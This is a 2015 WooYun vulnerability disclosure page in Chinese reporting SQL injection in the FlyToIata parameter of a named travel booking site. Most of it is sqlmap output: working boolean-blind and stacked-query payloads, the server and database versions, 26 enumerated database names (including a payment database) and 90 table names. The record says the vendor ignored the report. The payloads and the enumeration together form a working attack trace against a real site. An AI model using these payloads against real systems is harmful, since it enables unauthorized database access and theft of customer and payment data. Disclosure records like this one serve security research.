当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141228

漏洞标题：欧美嘉国际旅游网存在SQL注入涉及大量数据

相关厂商：欧美嘉国际旅游网

漏洞作者： me1ody

提交时间：2015-09-15 10:57

修复时间：2015-10-30 10:58

公开时间：2015-10-30 10:58

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注入

详细说明：

注入点

http://online.omegatravel.net/flight_dynamic.aspx?FlyToIata=BKK


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: FlyToIata (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: FlyToIata=BKK' AND 7403=7403 AND 'Ozwu'='Ozwu
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: FlyToIata=BKK';WAITFOR DELAY '0:0:10'--
---
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008
available databases [26]:
[*] dbErbeds
[*] dbflights_omega
[*] dbflights_omega_test
[*] dbgmhfares
[*] dbholidaybrokers_master
[*] dblowcostbeds
[*] dbmedhotels_master
[*] dbOmega_Pay
[*] dbomegafares
[*] dbyoutravel_master
[*] destinations
[*] destinations_test
[*] gmh_ws
[*] lclassdb
[*] markup_gmh
[*] markup_omega
[*] markup_omega_test
[*] master
[*] model
[*] msdb
[*] omega_ws
[*] omega_ws_test
[*] search_data_bo_omega
[*] search_data_omega
[*] tempdb
[*] track_data_omega
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: FlyToIata (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: FlyToIata=BKK' AND 7403=7403 AND 'Ozwu'='Ozwu
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: FlyToIata=BKK';WAITFOR DELAY '0:0:10'--
---
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008
Database: omega_ws
[90 tables]
+-----------------------+
| PTC_ADT_only          |
| api_config            |
| booking_error_flights |
| low_fares             |
| nonbook_airlines      |
| nonbook_airports      |
| nonbook_faretype      |
| nonbook_route         |
| onlybook_airlines     |
| tax_offset            |
| tblAirportCodes       |
| verify                |
| verify_details        |
| ws_data               |
| ws_data_20140709      |
| ws_data_20140714      |
| ws_data_20140722      |
| ws_data_20140810      |
| ws_data_20140917      |
| ws_data_20140930      |
| ws_data_20141010      |
| ws_data_20141011      |
| ws_data_20141022      |
| ws_data_20141102      |
| ws_data_20141114      |
| ws_data_20141201      |
| ws_data_20141210      |
| ws_data_20141221      |
| ws_data_20141226      |
| ws_data_20141230      |
| ws_data_20150103      |
| ws_data_20150107      |
| ws_data_20150111      |
| ws_data_20150115      |
| ws_data_20150119      |
| ws_data_20150123      |
| ws_data_20150127      |
| ws_data_20150131      |
| ws_data_20150204      |
| ws_data_20150208      |
| ws_data_20150212      |
| ws_data_20150216      |
| ws_data_20150220      |
| ws_data_20150224      |
| ws_data_20150228      |
| ws_data_20150304      |
| ws_data_20150330      |
| ws_data_20150405      |
| ws_data_20150409      |
| ws_data_20150413      |
| ws_data_20150417      |
| ws_data_20150421      |
| ws_data_20150425      |
| ws_data_20150429      |
| ws_data_20150503      |
| ws_data_20150507      |
| ws_data_20150511      |
| ws_data_20150515      |
| ws_data_20150519      |
| ws_data_20150523      |
| ws_data_20150527      |
| ws_data_20150531      |
| ws_data_20150604      |
| ws_data_20150608      |
| ws_data_20150612      |
| ws_data_20150616      |
| ws_data_20150620      |
| ws_data_20150624      |
| ws_data_20150628      |
| ws_data_20150702      |
| ws_data_20150706      |
| ws_data_20150710      |
| ws_data_20150714      |
| ws_data_20150715      |
| ws_data_20150718      |
| ws_data_20150722      |
| ws_data_20150726      |
| ws_data_20150730      |
| ws_data_20150803      |
| ws_data_20150807      |
| ws_data_20150811      |
| ws_data_20150815      |
| ws_data_20150819      |
| ws_data_20150823      |
| ws_data_20150827      |
| ws_data_20150831      |
| ws_data_20150904      |
| ws_data_20150908      |
| ws_data_20150912      |
| ws_data_temp          |
+-----------------------+


1.png


2.png

漏洞证明：

1.png


2.png

修复方案：

- -

版权声明：转载请注明来源 me1ody@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝